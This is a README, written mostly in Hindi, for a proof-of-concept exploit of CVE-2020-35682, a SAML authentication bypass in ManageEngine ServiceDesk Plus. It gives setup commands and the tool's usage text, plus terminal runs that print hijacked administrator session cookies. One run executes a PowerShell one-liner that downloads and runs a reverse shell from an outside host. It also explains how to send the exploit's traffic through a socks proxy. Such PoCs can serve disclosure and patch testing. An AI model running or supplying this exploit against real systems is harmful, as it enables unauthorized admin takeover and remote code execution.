
CVE-2020-35682 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: ManageEngine ServiceDesk Plus में SAML प्रमाणीकरण बायपास, जो व्यवस्थापक तक विशेषाधिकार वृद्धि और रिमोट कोड निष्पादन को सक्षम बनाता है।
SD-91948: CVE-2020-35682: ServiceDesk Plus में SAML लॉगिन के दौरान प्रमाणीकरण बायपास भेद्यता। (जैसा कि ManageEngine द्वारा वर्णित है)। यदि लक्ष्य ServiceDesk Plus (<11134) स्थापना में SAML लॉगिन सक्षम है और आपके पास निम्न-विशेषाधिकार उपयोगकर्ता के क्रेडेंशियल हैं, तो आप व्यवस्थापक तक बढ़ा सकते हैं और RCE प्राप्त कर सकते हैं।
मैंने इस POC को जारी करने का निर्णय लिया क्योंकि इस बग का शोषण करने के लिए न तो कोई सार्वजनिक शोषण है और न ही अधिक विवरण उपलब्ध है। कोड काफी गड़बड़ है लेकिन यह काम करता है।
git clone https://github.com/its-arun/CVE-2020-35682.git
cd CVE-2020-35682
pip3 install -r requirements.txt
chmod +x exploit.py
┌─[✗]─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -h
usage: exploit.py [-h] -u URL -e EMAIL -p PASSWORD -d DOMAIN [-x PAYLOAD] [-a ADMINUSERNAME]
CVE-2020-35682 : Authentication Bypass Vulnerability during SAML login in ServiceDesk Plus
optional arguments:
-h, --help show this help message and exit
-x PAYLOAD, --payload PAYLOAD
Payload to execute on target, eg: "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1
-usebasicparsing)"
-a ADMINUSERNAME, --adminusername ADMINUSERNAME
Admin Username, default: administrator
required named arguments:
-u URL, --url URL ServiceDesk Plus installation url, eg. https://tenet.local/sdp
-e EMAIL, --email EMAIL
User E-mail for SAML Login, eg: [email protected]
-p PASSWORD, --password PASSWORD
User Password for SAML Login
-d DOMAIN, --domain DOMAIN
Domain, eg: TENET
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET"
[+] Created session as administrator.
[+] Use following cookies to login as administrator
=[COOKIE NAME]= =[COOKIE VALUE]=
JSESSIONIDSSO E1D80C738E12085360A789109D43A233
PORTALID 1
SDPSESSIONID 918B7C63186055F72EAD2DEAC34B4CA9
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET" -x "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)"
[+] Created session as administrator.
[+] Use following cookies to login as administrator
=[COOKIE NAME]= =[COOKIE VALUE]=
JSESSIONIDSSO 2316433DF39DFFE8ACD4E1DDD759D259
PORTALID 1
SDPSESSIONID 666788540DB6329CB7E59E1E96FF30EB
[+] Created custom trigger ADQRYN11WA6KEXIQ
[+] Created Request to trigger custom action ADQRYN11WA6KEXIQ
[+] Executed "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)" on "https://tenet.local/sdp"
[+] Deleted Request ADQRYN11WA6KEXIQ
[+] Deleted Custom Action ADQRYN11WA6KEXIQ
प्रॉक्सी को exploit.py में पंक्ति 9 पर निम्नलिखित प्रारूप में परिभाषित किया जा सकता है
proxies = {'http': 'socks4://127.0.0.1:9050','https': 'socks4://127.0.0.1:9050'}
या यदि आप स्रोत संपादित नहीं करना चाहते हैं तो आप प्रॉक्सी को पर्यावरण चर के रूप में सेट कर सकते हैं
export HTTP_PROXY="socks4://127.0.0.1:9050"
export HTTPS_PROXY="socks4://127.0.0.1:9050"
एक्सप्लॉइट चलाने के बाद इन चरों को अनसेट करना सुनिश्चित करें।
unset HTTP_PROXY HTTPS_PROXY